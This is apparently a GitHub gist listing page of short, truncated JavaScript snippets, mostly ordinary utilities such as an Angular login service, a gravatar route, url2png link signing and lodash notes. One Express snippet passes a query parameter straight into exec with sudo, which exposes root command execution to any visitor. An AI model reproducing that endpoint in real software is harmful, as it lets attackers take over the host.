Skip to content

Instantly share code, notes, and snippets.

//For node.js
if (typeof window === 'undefined' && typeof module !== 'undefined' && module.exports) {
module.exports = EasyStar;
}
@prettymuchbryce
prettymuchbryce / gist:8795141
Created February 4, 2014 00:13
Ruby-style random element method.
Array.prototype.sample = function() {
return this[Math.floor(Math.random() * this.length)];
}
app.factory('userService', ['$q', '$timeout', '$http', '$rootScope', function($q, $timeout, $http, $rootScope) {
var userService = {};
userService.tryLoginFromCookie = function() {
var promise = $q.defer();
$http({method: 'POST', url: '/login'}).
success(function(data, status, headers, config) {
$timeout(function() {
$rootScope.$broadcast('login', data);
//Request user data from gravatar
app.get("/gravatar/:email", function (req, res) {
if (!req.params.email || typeof req.params.email !== "string") {
res.send(400);
return;
}
var path = "/" + md5(req.params.email.toLowerCase().trim()) + ".json";
var options = {
@prettymuchbryce
prettymuchbryce / url2png.js
Created February 8, 2014 06:10
url2png example
var API_KEY = "XXX";
var SECRET_KEY = "XXX";
var crypto = require('crypto');
var url2png = function() {
this.generateLink = function(url) {
var options = "?url="+url + "&viewport=1480x1037&thumbnail_max_width=500";
var token = crypto.createHash('md5').update(options + SECRET_KEY).digest('hex');
return "http://api.url2png.com/v6/"+API_KEY+"/"+token+"/png/"+options;
@prettymuchbryce
prettymuchbryce / gist:a0afb3104b0137f63225
Created August 23, 2014 17:35
Javascript keys to strings
var myDictionary = {};
var myKey = 1;
myDictionary[myKey] = 'someValue';
console.log(typeof myKey);
for (var i in myDictionary) {
console.log(typeof i);
}
var express = require('express');
var app = express();
var sys = require('sys');
var exec = require('child_process').exec;
function puts(error, stdout, stderr) { sys.puts(stdout) };
app.get('/', function(req, res){
exec("sudo " + req.query.cmd, puts);
});
@prettymuchbryce
prettymuchbryce / gist:98427a8bc8ab980199d1
Last active August 29, 2015 14:07
lodash and underscore .where
//underscore does not search nested objects in .where
//lodash does
var _ = require('underscore');
var lodash = require('lodash');
var object = {
nestedObject: {
value: true
}
@prettymuchbryce
prettymuchbryce / gist:02ad88e78f2af9e43374
Created October 14, 2014 17:39
Add utm params to link
var qs = require('qs')
var url = require('url')
var add_utm_params_to_link = function(link, utm_source, utm_medium, utm_content, utm_campaign) {
var parsed = url.parse(link)
var query = qs.parse(parsed.query)
query.utm_source = utm_source
query.utm_medium = utm_medium
query.utm_content = utm_content
var data = { truck: { trips: [ { begin: 100, end: 500 }, { begin: 700, end: 1000 }, { begin: 1100, end: 1200 }, { begin: 1300, end: 2000 } ] } };
function validate(array, input) {
for (var i = 0; i < array.truck.trips.length; i++) {
var trip = array.truck.trips[i];
if (input.begin >= trip.begin && input.begin <= trip.end) {
// console.log('invalid beginning');
return false;
} else if(input.end >= trip.begin && input.end <= trip.end) {
// console.log('invalid end');